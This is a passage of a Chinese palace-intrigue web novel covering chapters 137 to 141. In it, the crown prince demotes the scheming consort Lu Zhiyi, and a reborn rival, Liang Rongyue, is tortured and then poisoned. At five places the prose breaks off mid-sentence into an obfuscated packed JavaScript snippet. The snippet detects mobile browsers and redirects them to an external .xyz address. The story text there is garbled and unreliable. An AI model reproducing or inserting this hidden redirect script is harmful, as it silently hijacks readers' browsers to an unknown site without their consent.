但后者已经开口:“崔夫人本就体弱,生产时耗尽元气又出血,以当时的情形看,最多只能坚持两个月了。” 但当年在崔儒月的满月宴上,孙氏为了取信崔母,是服了虎狼药,硬撑着红光满面出席的,这点年纪稍大些的人都有印象。 杨院判有多权威,没人质疑。 真相彻底大白。 堂内还好,都还守着规矩,堂外的百姓却已忍不住议论起来—— “天呐,人家老夫人被害得这么惨,一辈子都毁了,他们母女竟还不放过人家,二十年后来这么一出,真是同出一脉的歹毒阴损啊。” “何止啊,还想倒打一耙,把人家老夫人踩进泥里,下狱**呢。” “我刚才就想说了,这崔儒月之前那么害太子妃,能是个什么好东西?她的话能信吗?” “最惨的就是老夫人了,这陈年旧事本该揭过,却硬生生被逼着在晚年当众……唉,可怜啊。” 骂崔儒月狼心狗肺,是个不顾养育之恩的白眼狼的声音越来越多,骂得她几乎站立不稳,脸色惨白。 她六神无主,立刻看向陆知意。 “沈夫人老看陆侧妃做什么?”崔锦开口,“总不能是在找倚仗吧?” 这话挑起了众人的猜疑。 ——陆知意也很可疑啊。 武将家的女儿心眼也这么多吗? 陆知意脸色微变,却镇定道:“崔儒月心机深沉,想是还以为自己能再骗过妾身为她出头一次呢。” “陆知意!”崔儒月立刻怒道,“分明是你——” “砰——” 陆知意提起裙摆,一脚踹得崔儒月撞去柱上,吐出了一大口血。 如秋眼神微闪,上前扶起崔儒月,不动声色地给她按了几个穴位。 崔儒月又呛出一口血,发现能说话了,立刻怨毒地开口:“分明是你联络我,叫我陷害我妹妹和母亲,今日在胭脂铺前你演的那么烂,当人都是傻子么?!” 陆知意眼中怒火暴涨,几乎快烧灼了崔儒月。 姓崔的果然都是**! 她就不该找崔儒月这个蠢货! 眼见着众人眼神微妙,甚至连堂外的百姓都对她指指点点起来,她忙上前一步,咬牙低头:“崔儒月恩将仇报,妾身今日被她蒙蔽,被设计得为她出头,误会了太子妃和老夫人,这崔儒月竟还不死心,想要拖妾身下水,离间我们太子府的关系,必要严惩才好!” 她语气还算诚恳,但无论是崔锦还是崔母,都没搭理她。 陆知意有些尴尬地站在原地,眼底尽是恼火与怨恨。 她正欲再说什么,余光扫过堂外,忽地愣住了:“太子殿下?” 萧临正站在外头,脸色难辨地看着她。 陆知意忍不住攥攥手指,强笑着问:“殿下什么时候到的,怎么不进来?” “本宫到的不早。”萧临踱步进门,“正巧从你灭口崔儒月开始。” 陆知意脸色瞬间惨白:“殿下误会了,妾身没有——” 萧临已不听她的解释,快步走去崔锦面前,握住她的手:“对不住,本宫来晚了,叫你受了委屈。” 他声音不低,周围听到这话的人面面相觑,心中咂舌。 能叫太子低头,真是好本事。 崔锦眼睛红了些,却浅笑着:“无碍,已经解决了。” 萧临微微点头,随后厌恶地扫过崔儒月:“陷害命妇,依律处置吧。” 卫期立刻拱手:“是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520903|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 萧临安抚了崔母几句,与崔锦一起离开。 陆知意被晾在原地,又是尴尬又是恼火,还隐隐有些不安。 她咬牙跟上前方的萧临。 经过崔儒月时,她眼底闪过杀意。 崔儒月满脸慌乱,眼见着衙役要将自己带下去,忙挣扎起来:“我也是命妇,我夫君位居四品,你们不能将我下狱,我是命妇!我父亲是功臣——” “呸!”人群中有人对她吐了口口水。 “都被除族了,还好意思以崔家女自居呢?你父亲若泉下有知,看到你这般狼心狗肺的模样,怕是要气活过来掐死你了!” “老鼠的儿子会打洞呗!她亲娘心肠歹毒还心机深沉,看她定然是学到了精髓,二十年前毁了人家老夫人一回,二十年后竟又女承母业,不顾养育之恩的算计老夫人,真是个白眼狼!” 百姓们你一言我一语,言辞间满是鄙夷不屑。 崔儒月心里直发慌,又愤怒于他们胆敢犯上骂她。 父亲那么疼爱她,若知道有朝一日她会被崔锦那对**母女毁到如此地步,一定会早早休了那个贱妇! 她绝望的叫喊声渐渐远去。 崔家马车里,崔母本委屈落寞的表情恢复平静,轻轻揉着眼角。 刘嬷嬷有些心疼她:“太子妃叫我们监视崔儒月,您分明早就知道了她和陆侧妃勾结害您的消息,为何非要放任……连累得您又旧事重提,揭开伤疤。” “若不如此,怎能撕开姓陆的那副嘴脸?” 崔母声音轻柔:“人人都看锦儿风光,可她受过的委屈,经过的冷落,谁又知道呢?不过陈年旧事罢了,以此算计陆知意,还终于叫孙氏母女声名狼藉,我不亏。” 说罢,她继续将眼角揉得通红,同时扬声吩咐马夫:“进宫。” 她是功臣遗孀,夫君救驾而亡,却被陷害欺凌至此,还敲不得一个登闻鼓? 崔儒月、沈之珩、陆知意。 一个都别想逃! 第一百三十七章 陆氏那等恶妇,怎配侧妃之位? 太子府。 萧临小心地扶着崔锦下车。 今日隐隐有些小雪,也比先前冷了些,寒气渗人。 见崔锦眉头微蹙,萧临立刻解开身上披风,披在了她身上。 陆知意刚下车就看到这一幕,眼底隐隐泛红,恨得咬牙切齿,不假思索地上前就道:“殿下,今日妾身口误,得罪太子妃是妾身不对,可她竟当众掌掴妾身……三次,被无数人旁观,这、这叫妾身以后该如何做人啊……” 一边说着,她一边真的哭了起来。 自小到大,她就没受过这样的委屈,愤怒是真的,难受也是真的。 萧临终于施舍给她一个眼神,却比当下的数九寒天还要冷意迫人:“太子妃心善,只给你三个耳光,若换做本宫,你连竖着出顺天府的机会都没有。” 陆知意的哭声顿住,不可置信地抬头看他。 是她听错了吗? 萧临却没再看她,扶着崔锦转身就走:“陆氏犯上,禁足沁芳院,罚俸三年,罚抄府规千遍,屈嬷嬷好生教导。” 匆匆赶来的屈嬷嬷连忙应是。 她也没想到自己只是被支开那一小段时间,这陆知意竟就能捅出这么大的篓子。 “不、殿下,妾身是冤枉的啊!”陆知意慌忙解释,“妾身被崔儒月蒙骗去顺天府为她出头,误会了太子妃和忠勇侯老夫人,并非刻意针对太子妃啊!父亲自幼就教导妾身持身清正,为民解忧,妾身始终谨记着他的话,这才未及多想,妾身真的是冤枉的……” 她刻意提起陆总督,也没叫萧临脚步迟疑半分。 看着他小心护着崔锦离开的背影,陆知意紧紧攥起手指,眼神恼火愤怒之余,还掺杂着一抹妒意。 萧临容貌俊美,军功赫赫,又是当朝太子,几乎无一处不美,她就算再嚣张跋扈,心中也仍存**,怎会不动心? 可自成婚那一日后,萧临就再未踏足她的院子。 枉她自诩貌美动人,武艺超群,家世更是傲人,未想却被一个生过孩子的破落户压得风头不在…… 陆知意死死咬紧牙关,眼眸晦暗。 “侧妃。”翠环瞥了眼后头的屈嬷嬷,低声开口:“我们还有崔儒月这张牌……虽然要灭口,但她自幼与正院的**一起长大,必然知道更多那**的秘密,需得撬干净崔儒月的嘴才好。” 陆知意眸光微闪,沉声应了。 正院。 进门后,崔锦的眼睛就红了起来,眼泪掉落不断,衬得如玉容色泛出一股脆弱感,惹人心疼得紧。 她哭得无声无息,萧临直到扶她坐下才看到,立刻便慌了神,语气近乎轻柔地问:“不是解决了么?怎还哭了?” 他拿出帕子,小心地给她擦着眼泪,柔声开口:“此事我必给岳母一个公道,快别哭了……一会儿孩子们被抱来,还要叫他们看你笑话不成?” “我、我也不想哭……” 崔锦声音哽咽,还带着一丝沙哑:“可我一想到今日母亲站在那里,被无数人围观她曾受过的**……被迫撕开自己隐藏最深的伤疤,而我作为女儿,却什么都做不了,还要直面她受辱……” 说到这里,她已经词不成句,放声哭了起来。 萧临见过她哭,却从未见过她哭成这般撕心裂肺的模样,顿时眼神慌乱,有些无措。 他不断柔声细语安慰着,崔锦却没再搭理他。 她的眼泪,一半是做戏,一半是真的心疼母亲。 没有人比她更了解自己的母亲,她知道她的骄傲,清楚她的要强,当年这般**的事,她本该深藏心底,甚至带进棺材里去。 可为了她……为了帮她除掉强劲对手,母亲亲手揭开了自己的伤疤。 她将自己的**暴露于天光之下,露于天下人面前,任人审判。 一想到这里,崔锦就心疼得厉害,眼眶红到充血。 萧临没办法,只能不断安慰她,不断向她许诺一定为岳母讨回公道,不断给她擦着眼泪。 最后,崔锦哭得晕在他怀中。 萧临衣襟边一片湿痕,他却不觉有半分不适,反而更加心疼。 他轻手轻脚地将崔锦抱去床上,又用清水沾湿帕子,小心翼翼地为崔锦擦干净脸和手,这才脸色阴沉地出门。 庆喜几乎要小跑才能跟上他:“殿、殿下,您这是……” “进宫。” 萧临声音冰冷:“陆氏那等恶妇,怎配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520904|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧妃之位?” 崔儒月一面之词并不足以定陆知意的罪,但在萧临心中,可以。 崔锦从未在他面前哭得这样伤心过,可见此事对她的伤害有多大。 杨院判都说她不能伤心伤神,否则会影响寿数,陆知意此举,与害崔锦的命何异? 萧临步履生风,连背影都含着无尽的怒气。 这毫不留情的话也被来往的下人们听了个真切,顿时面面相觑,眼神震惊。 本就有失宠苗头的陆侧妃要彻底栽了? 有个丫鬟眼神一闪,在萧临离开后便悄悄退后,往沁芳院跑去。 沁芳院离得不远,陆知意很快就得了消息,惊得拍案而起:“什么?他、他这是什么意思?” 她难以置信,心又跳得厉害:“他竟敢去宫里废我的侧妃之位?当我父亲是摆设不成?!” 不过设计了一把,崔锦那个**毫发未伤,反而是她挨了三个耳光,还受了罚,这还不够么?! 萧临怎如此偏心?! 陆知意伤心又愤怒,一脚踹翻了桌椅,微烫的茶盏浇在地上回话的丫鬟身上疼得她脸色泛白。 “侧妃息怒。”翠环忙拉住陆知意,瞥了眼脸色沉下的屈嬷嬷,低声开口,“太子殿下分明已经罚了您禁足抄书,定是正院那里说了什么,又挑起了他的怒气,但为今之计不是发脾气,而是阻止太子进宫啊。” 陆知意这才回过神。 对,若真被废了侧妃之位,她的脸面才要半分都不剩了。 她立刻抬步往外走去,却被屈嬷嬷拦住。 “侧妃,您已被禁足,不可出沁芳院。”屈嬷嬷声音严肃而不悦,“方才您那几句话也十分大逆不道,想是规矩没学好,需——” “啊——” 她话未说完,就被陆知意抬手推开,险些撞在门上。 她又惊又怒地看向离开的陆知意:“陆侧妃,你敢违抗太子殿下的命令?!” 陆知意充耳不闻。 她都快被废去侧妃之位了,还搭理她一个淑贵妃派下的嬷嬷? 她匆匆往马厩跑,想去拦住萧临。 但走至中途,一道尖利的嗓音却传来:“圣旨到——” 第一百三十八章 永隆帝要名声,他就不要了吗? 陆知意一愣。 徐徐走来的御前太监看到她,顿时停步,对管家道:“既然陆侧妃在这里,便不必去正厅宣旨了,也别惊扰了太子妃。” 陆知意看着他,心跳陡然加快,心中有了猜测,却不敢置信。 “奉天承运皇帝,诏曰:侧妃陆氏,陷害忠良,品行不端,念其父劳苦功高,着降为良娣,望其谨守德行,规训言行,钦此——” 圣旨念到一半时,陆知意就已摇摇欲坠。 等最后一个字落下,她脸色已经变得惨白。 真的废了她侧妃之位? “不、不可能。”她满眼都是崩溃,“太子还没进宫,皇上的圣旨又怎会先下来?是你假传圣旨!你敢——” “陆良娣慎言。” 御前太监冷声开口:“太子殿下不进宫,皇上便不能知晓京城事了?您做出那等龌龊事,难不成还要皇上夸您一句做得好?” 陆知意脸色青白,攥起的双手背上隐隐青筋跳动。 片刻后,见她咬牙接旨,御前太监才笑了一声:“您那般陷害忠勇侯老夫人,还真当谁都是泥人性子了?忠勇侯护驾而亡,那是天大的功臣,他的遗孀怎可任人欺辱?您莫不是以为禁个足就能了事?” 天真。 也是个十足的蠢货。 竟蠢到自己亲自出面为崔儒月出头,还被数人听到了崔儒月的指控。 就算永隆帝不想罚她,也不得不罚了。 他悠悠转身走远。 陆知意跪倒在地上,一手握着圣旨,一手紧紧掐入掌心,几乎快能闻到血腥味了。 是崔母,是她进宫告状了! 陆知意眼底骤然涌起怒火与怨毒,若崔母现在在她面前,她会毫不犹豫地杀了这个贱妇! 过往十六年,她顺风顺水,没人敢不捧着顺着她,被她罚了打了甚至杀了,变成鬼也不敢来找她报仇。 崔母是第一个有如此胆识和本事的人。 这却叫陆知意陡然升起一股被忤逆的恼怒,崔家怎么敢……怎么敢得罪她?! 她双手都被气得隐隐颤抖。 翠环握住她的手,低低劝:“只是降位而已,您又没被玉牒除名,只要总督大人上道折子,您复位是迟早的事,需得先稳住,做足了忏悔姿态才好。” 陆知意眼神暗沉与怨毒交织,良久后才应了声。 翠环忙扶她起身。 冬日里的天实在冷,地上还有一层薄薄的雪,若非陆知意是习武之人,跪了这么久只怕早就受不住了。 …… 乾清宫。 萧临沉默地看着永隆帝。 好半晌后,他才难以置信地问:“叫儿臣独宠陆氏?” 永隆帝点点头,理所应当道:“忠勇侯救驾而亡,他的遗孀进宫求个公道,朕自不能薄待了去,但陆家也需暂时安抚,便交给你了。” “……” 这是人话吗? 永隆帝要名声,他就不要了吗? 独宠陆知意,回去对崔锦怎么交代? 说父皇指示的?崔锦喷他一脸都要骂句骗鬼呢。 见萧临沉默不语,永隆帝轻咳一声,拿起一道奏折扔给他:“你瞧瞧。” 萧临沉默地接过,打开。 面无表情的脸色渐渐变得凝重:“陆家已有反意,想在北境自立为王?” “嗯。”永隆帝点头,“这是吴将军的秘奏,陆家在北境素来张狂不已,你那陆良娣,自小便无师自通欺压无辜之举,跋扈恶毒得很,故而此次选侧妃,朕为你择选了她。” “……” 萧临深吸一口气。 即使知道永隆帝此举是为请君入瓮,但他还是心堵得可以。 还不如把陆氏接进后宫呢。 有淑贵妃和娴贵妃在,联手就能摁死一个陆氏,总比放来太子府祸害崔锦强。 “朕的部署尚未完成,本想先留着陆氏,暂时应出不了什么大乱子……不想这陆氏当真是跋扈胆大得很。”永隆帝眼眸微沉。 陆知意有脑子吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈之珩眯起眼睛,轻声道:“今日内子无状,陷害忠勇侯老夫人,的确罪有应得,但究其根本,不过是起了妒心,毕竟,若当初服用好孕丹、未曾换嫁的是她,今日风光满京的太子妃,或许便也是她了。” 第一百三十九章 萧临竟如此信崔锦? 闻言,萧临猛地睁开眼。 好运丹,还是好孕丹? 前者未免离奇,而若是后者……以沈之珩言下之意,便是惊骇了。 萧临心中有疑,但就算想追问,他也不会信沈之珩的话。 于是在他的默许下,车夫速度不变,驾着马车缓缓驶离,并未因此言而停驻半分。 沈之珩眼底闪过疑惑,心下却又不甘,跟上前追问:“太子殿下便不想知道太子妃究竟瞒了您何事么?微臣方才之言,您当真就半点未曾放在心上?” 马车里传来萧临冷漠的声音:“本宫若有疑问,会自己问太子妃,而非在此听信旁人挑拨。” 沈之珩蓦然顿住。 萧临竟如此信崔锦? 怎么可能。 能在朝堂混的风生水起,还夺得太子之位的政客,又怎会轻信旁人?哪怕那是枕边人。 萧临不是色中饿鬼,不会仅因崔锦的容貌就被迷得色令智昏,而若说爱上崔锦…… 沈之珩自己先笑了一下,眼底满是轻慢。 崔锦那种寡淡无味,木讷无趣的人,怎会被萧临喜欢? 他爱过的**即便人品低劣,也曾十足肆意热烈,又怎会看上清汤寡水的崔锦? 即便他肯圆房,怕也只是因为崔锦身后的助力与绝色容貌罢了。 这些声音在沈之珩心里不断响起,促使他放下心神,没再纠结。 萧临不信他是常理,但以萧临的多疑,一定会私下查探,而他早已准备好了破绽,只等太子府的人来查。 这回他并未蒙骗谁——左右都是事实。 见他浅笑起来,身边的侍从才小心地问:“大人,夫人托顺天府的狱卒给您传话,让您救她,您……” “不必理会。” 沈之珩眼神平淡无波:“她蠢笨至此,这点小事也做不好,此事如今更已被圣上盯上,我拿什么救她?” 更何况他已经被连累得降为七品了! 崔儒月早已不是他深爱的模样,反而德行丑陋,粗鄙浅薄……该扔了。 “本官即将大婚,你好生盯着府里,准备一应事宜即可。”他轻轻理着衣袖,缓步走远。 方芸本要娶为平妻的,但崔儒月入狱,倒可将她提为续弦了。 等以后崔锦进门,他也不会给她任何名分——这是她胆敢为萧临生儿育女的惩罚! 沈之珩眼眸晦暗,隐于袖中的双手紧握,隐隐泛起青筋。 “对了。”他吩咐,“将崔儒月的消息递去陆良娣那里。” 好孕丹的来路,料想陆良娣应该会很感兴趣。 …… 萧临回府后,率先去了正院。 “殿下回来了?”崔锦刚睡醒,方才哭得眼睛红肿,如今竟也未能消下去,瞧着颇为可怜。 萧临脚步微顿。 一瞬后,他上前将崔锦抱在怀里,轻声安抚:“父皇已废了陆氏的侧妃之位,算是给你和岳母的交代……当然,如此的确太过便宜她,但锦儿,过不了多久,我一定为你加倍讨回来。” 崔锦笑了一下,柔柔靠在他胸膛,声音饱含信任:“我当然信殿下。” 萧临为她抚去额间碎发,沉沉应了声。 他本是要问崔锦好孕丹之事,可她才受了大打击,若此时一个问不好,只怕又要伤着她身子。 还是等日后再问吧。 他垂下眸,藏起眼底的沉思。 “对了。”崔锦忽然开口,“我的人一直盯着梁溶月,这次的事恐与她脱不开关系。” 虽然她的人确信梁溶月只去过沁芳院一回,且很快就出来了,与此事也没有沾染,但在崔锦心中不重要。 在萧临这里也不重要。 “你不喜她,稍后便叫庆喜去赐她一杯毒酒吧。” 崔锦轻轻应了。 萧临也没在正院待多久——才知道陆家有意谋反的消息,再加上永隆帝给的名单,他此时的确不得空。 看了看孩子们后,他便匆匆离开了。 崔锦敛下笑容,吩咐如秋:“你亲自跑一趟,想办法在最短时间内从梁溶月嘴里撬出东西来。” 如秋面露疑惑:“太子妃想知道什么?” “她未卜先知。”崔锦轻飘飘道,“自然是叫她再吐出些未来之事了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520906|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 梁溶月没有**价值大,便也没有保下藏去暗牢的必要了。 如秋虽半信半疑,但还是立刻去办了。 她懂医,也懂毒,想从人嘴里撬出东西来并不算难。 …… 梁溶月正在发怒,暗骂陆知意蠢。 明明本该打压得崔锦母女抬不起头的局,却生生被陆知意拖到被崔母反败为胜。 陆知意都亲自上阵了,那当庭扣**崔母**夺夫的罪名,在路上延缓崔母去顺天府的时间,亦或直接杀了她,有这么难么? 再难的结局也不会比如今更差了。 真是枉费她一番心思! 梁溶月眼底一抹阴狠闪过。 只能另想办法了。 崔锦不过一个被重生的沈之珩阴差阳错换去萧临正妻位子上的人,凭什么能这般好命,生得祥瑞三胎,还坐上太子妃之位? 若不从她手里抢来这般好命,她梁溶月岂非白活一回?! 正在她沉思之际,外头忽然传来一道行礼声:“如秋姑姑。” 如秋轻应一声,踱步进门。 “梁奉仪安。”她背脊挺直,膝盖未弯,“奴婢有些事想向您求个答案,望您坦言相告。” 她说话时,屋门已经被关,屋里瞬间就只剩下她们两人。 梁溶月心里一个咯噔,瞬间想起曾被崔锦鞭打过的经历,还未完全脱落的疤痕叫她觉得全身都隐隐作痛起来。 “我没什么好说的。”她强撑着道,“太子妃母亲被告是陆良娣和沈夫人搞的鬼,关我何事?” 如秋顿时笑了:“您真是不打自招。” “但无妨,奴婢不是问您此事。” 在梁溶月疑惑之际,如秋踱步上前,同时一股极淡的香味扑进梁溶月鼻中,叫她意识恍惚。 等回过神时,她已浑身无力,惊恐地看向如秋。 “别怕。”如秋从袖中拿出一排银针,笑容温和,“只要您如实相告,奴婢会让您少些痛苦。” 梁溶月眼神惊慌,出口却声音无力,如秋都要凑近了才能听到,更不用说喊叫着提醒外面的人了。 第一百四十章 萧临为陆知意辞掉早朝 庆安是在半个时辰后来的。 婢女见到他,立刻敲门请了如秋出来。 “如秋姑娘这是在做什么?”庆安语气熟稔,“若不嫌弃,咱家可代劳一二。” 如秋一笑:“不过是想问清楚一些事,便不劳公公费心了。” 话落,她转头看了眼被门遮掩住的内室,有些不好意思地抿唇:“这……实在对不住,我这话还没问完,可否劳公公通融一二?” “如秋姑娘与我客气什么?” 庆安笑了笑:“太子殿下赐毒酒本就是为太子妃出气,没有反叫太子妃不得消息的道理,只是我稍后还有事要忙,这毒酒可否请姑娘代劳?” “自该如此,公公放心。” 如秋送庆安出去,两人寒暄几句,便听庆安似不经意般叹道:“说来今日可真不得消停,太子殿下回府路上,竟还被沈大人拦车,心里可难受得紧呢。” 如秋眸光微动:“莫不是为他夫人求情来的?” “他啊,心硬得很呢。”庆安摇摇头,“求情没有,反倒是挑拨咱们太子殿下和太子妃的感情起劲儿得很,还非诬陷咱们太子妃吃过什么,你说说,这人得多阴险?” 如秋瞳孔骤缩,一瞬后才不动声色地点头:“如此阴险歹毒之人,回头奴婢定要叫太子妃防着他些。” 庆安含笑道是,这才告辞离开。 无论沈之珩说的是真是假,太子妃都倒不了——没见太子即便知道了此事,回府第一时间还是先去正院? 甚至都小心翼翼地照顾着太子妃的情绪,没敢贸然问出口。 所以在庆喜准备来送毒酒时,他使了点手段缠住他,自己领了这个差事。 庆喜虽也喜欢太子妃,却不会对太子妃透露任何太子的事。 但他庆安不一样。 太子身边第一人是庆喜,他多年都越不过去,如今眼见着太子妃荣宠愈盛,若得了太子妃青眼,他在太子跟前便多了一份脸面。 若日后还有运道好的那一日…… 谁说的准呢。 这个好,卖的绝对不亏。 而院内,如秋脸色罕见的慎重,她匆匆回了房内,手段愈发狠厉了几分。 半个时辰后,毒酒被送进房。 梁溶月脸色惨白,奄奄一息,整个人如从水里出来的一样,满身是汗,可身上却不见半点伤口。 在看到毒酒后,她眼眸蓦然睁大,含着不可置信。 “不、不可以……” 她才重生不过半年时间,就又要死一次么? 那她重生的意义何在? 分明……她重生后的路分明走的极顺,斗倒了贵妾母子,如愿退婚前世的夫家,还顺利设计进了萧临的后院。 哪怕她明知前世的胜利者是晋王,可在看到与前世截然不同的发展后,她便毅然决然赌了萧临。 事实证明她的眼光没错,萧临真的成了太子。 可为何……为何她的处境却急转直下了。 她分明该夺得萧临宠爱,坐上太子妃之位,然后陪他一起登基,母仪天下。 这才是她该有的人生啊! 梁溶月目眦欲裂,却浑身无力,只能任由毒酒被递来自己唇边,她努力想要将毒酒顶出去,却被掐住两腮,酒入喉肠。 五脏六腑升起剧烈疼痛时,她恍惚的意识仿佛顷刻间清醒过来。 明明重生后一路坦途,究竟是从什么时候开始急转直下的? 从与崔锦作对开始。 崔锦的手段……太高明了,她稍逊一筹。 崔锦甚至策反了梁祯,知道了她重生的事。 后悔吗? 也不,她只恨自己轻敌,当初没直接设计崔锦一尸两命! 若心再狠些,再不计后果些,她必然不会是如此下场! 但无妨,或许、或许她还有重生的机会。 七窍流血的瞬间,梁溶月眼中猛地迸发出一股异样的光芒——她在期待自己再次重生。 这次,她一定不会给崔锦喘息之机! …… 如秋快步回了正院,将庆安给的消息告知崔锦。 “好孕丹?”崔锦眼眸微眯。 沈之珩的确是豁出去了。 可惜,晚了。 若是之前的她,或许还要惊慌应对,想尽办法蒙骗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16520907|186283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧临,以求叫他心中没有疙瘩。 但现在的萧临已经不需要了。 他自己会说服自己的。 正如今日。 庆安看得透的事,崔锦自然看得透。 至少此事对于萧临来说,远没有那么严重。 “可太子妃……”如秋有些担心,“好孕丹的效用不言而喻,可您与王爷圆房后许久未孕,他不用想都知道您是服了避子药,先前**被揭破此事的下场,仍在眼前啊……” “嗯。”崔锦若有所思,“这点的确要想个完美的借口,或者……蒙混过去。” 萧临在意的不是服避子丹,而是心中自以为的真爱被戳破假面。 认清这一点,就有周旋的机会。 萧临晚间没来正院,但叫庆喜传了话,说自己公务繁忙,留在前院歇息。 措辞十分柔和。 翌日,崔锦前脚收到卫期和梁祯的传信,后脚如冬就匆匆跑了进来:“太子妃,不好了!昨夜陆良娣跪于雪地里静思己过,晨间便发起了高热,太子殿下听闻后十分担心,竟、竟辞掉了早朝,去沁芳院守着陆良娣了!” 崔锦愣了一下:“……是么?” 如冬见状,立刻心疼起来:“您别伤心,陆良娣家世不俗,太子、太子殿下总要给陆家三分薄面的……” 这话她自己都说的没有底气。 再给薄面,也没有辞了早朝的道理。 要知道当初崔锦生产昏迷时,萧临该上朝、该处理公务时也没耽误过。 可一个陆知意……从前也不见他如何宠爱,怎么一生个病,他就急迫至此? 总不能是失去后才懂得珍惜了吧? 如冬在心里将萧临从头到脚外加祖宗十八代都骂了个遍! 末了,她担心道:“太子妃……” “没事。”崔锦摇摇头,忽然笑了,“我正愁没机会呢。” 她低头看着信上“陆有反意”的字眼,心情好到不行。 连天都帮她。 借此机会,或许既能向萧临表明自己爱他至深,又能将服避子药的事蒙混过关。 陆家都是好人啊。 第一百四十一章 恭喜良娣复宠! 沁芳院。 浓郁的药味蔓延满院,下人们来往间轻手轻脚,大气不敢喘一声。 正房内,紫色床幔半遮半掩,只露出一截皓白的手腕,被太医诊脉。 片刻后,太医收回手。 萧临眉头紧皱,问:“陆良娣如何?” 太医低下头,轻声道:“回殿下的话,陆良娣是昨夜受了寒,加之跪得久体力不支,这才发起了高热,微臣开几服药,请陆良娣静养些时日便无碍了。” 萧临点点头:“去吧。” 他坐回床边,表情冷淡,双目微垂,下意识在心里惦记起崔锦醒了没,三个孩子睡得好不好,知道他来沁芳院……可有闹脾气? 但他这副神思不属的模样,落入翠环眼里,却成了对陆知意的担忧。 床上,陆知意悄悄睁开一只眼,与翠环对视,主仆二人交换了一个心照不宣的喜悦眼神。 陆知意当然不会真傻到跪一夜,只是做做样子,再染个风寒罢了,她自幼习武,身子骨好得很,将自己弄出高热可费了好一番功夫呢。 但所幸没白废。 若非如此,她竟不知萧临如此在乎她。 但……她眼底闪过一抹思索。 萧临为何态度陡然转变得这么快呢? 顿了片刻,她眼睛一转,喉间发出一声嘤咛:“嗯……翠环……” “奴婢在。”翠环忙蹲在床边问,“良娣您有何吩咐?” 萧临后知后觉地回过神,看向陆知意。 陆知意闭着眼,语气低垂:“水……” 翠环忙去桌前给她倒水。 端来时,她眼眸微闪,故意递去萧临面前,却不想下一瞬,萧临移开一些,声音焦急地吩咐:“还不快伺候良娣喝水?” 翠环愣了一下,才上前喂水。 陆知意像是才发现他在一样,连忙睁开眼,不可置信地问:“殿下?您……您……” “本宫来瞧瞧你。”萧临将声音放低了些,刻意显得柔和。 陆知意怔了好半晌,眼睛渐渐红了:“妾身还以为……还以为殿下再也不会理妾身了……” “怎会?” 萧临开口:“你为崔儒月出头一事的确不成体统,更将我太子府妻妾不和的事实尽数暴露于外界眼中,晋王**必会循着此把柄攻击本宫,父皇也会因此对本宫不满,觉得本宫不堪大任……你叫本宫如何不生气?” 陆知意愣了一下,这才恍然。 所以昨日萧临生气的压根儿不是她针对崔锦,而是她给晋王党递去了把柄,又叫他丢了人? 她心中有了底,眼泪便默默落下,哽咽难言:“妾身事后便后悔了,故而昨夜寝食难安,又因被禁足,便只能跪去月光之下,为太子妃和小殿下们祈福,希望能赎些罪。” 说到这里,她泪眼朦胧地抬头看向萧临:“幸好……幸好殿下还愿意原谅妾身……” 她长得貌美,虽自幼习武,但从外貌看不出丝毫英气,反而眉眼间有股肆意的张扬,盈盈欲泣时,又带了股独有的娇花易折之感,十分惹人怜爱。 但想到她做过什么,以及她父女在背后如何谋夺他萧氏江山,萧临就升不起丝毫怜惜。 “从未怪过,又何谈原谅?” 他温声说着:“本宫最喜你这般热烈张扬的女子,从你入府之初,本宫就独独对你另眼相看,若非你不敬太子妃,本宫岂会冷落你?” 陆知意一顿,声音沙哑哽咽:“是妾身对不住太子妃,等来日身子转好,妾身必亲自去向太子妃赔礼请罪……” 她本是以退为进,未想萧临却顺着点头:“你记住这回的教训便好。” 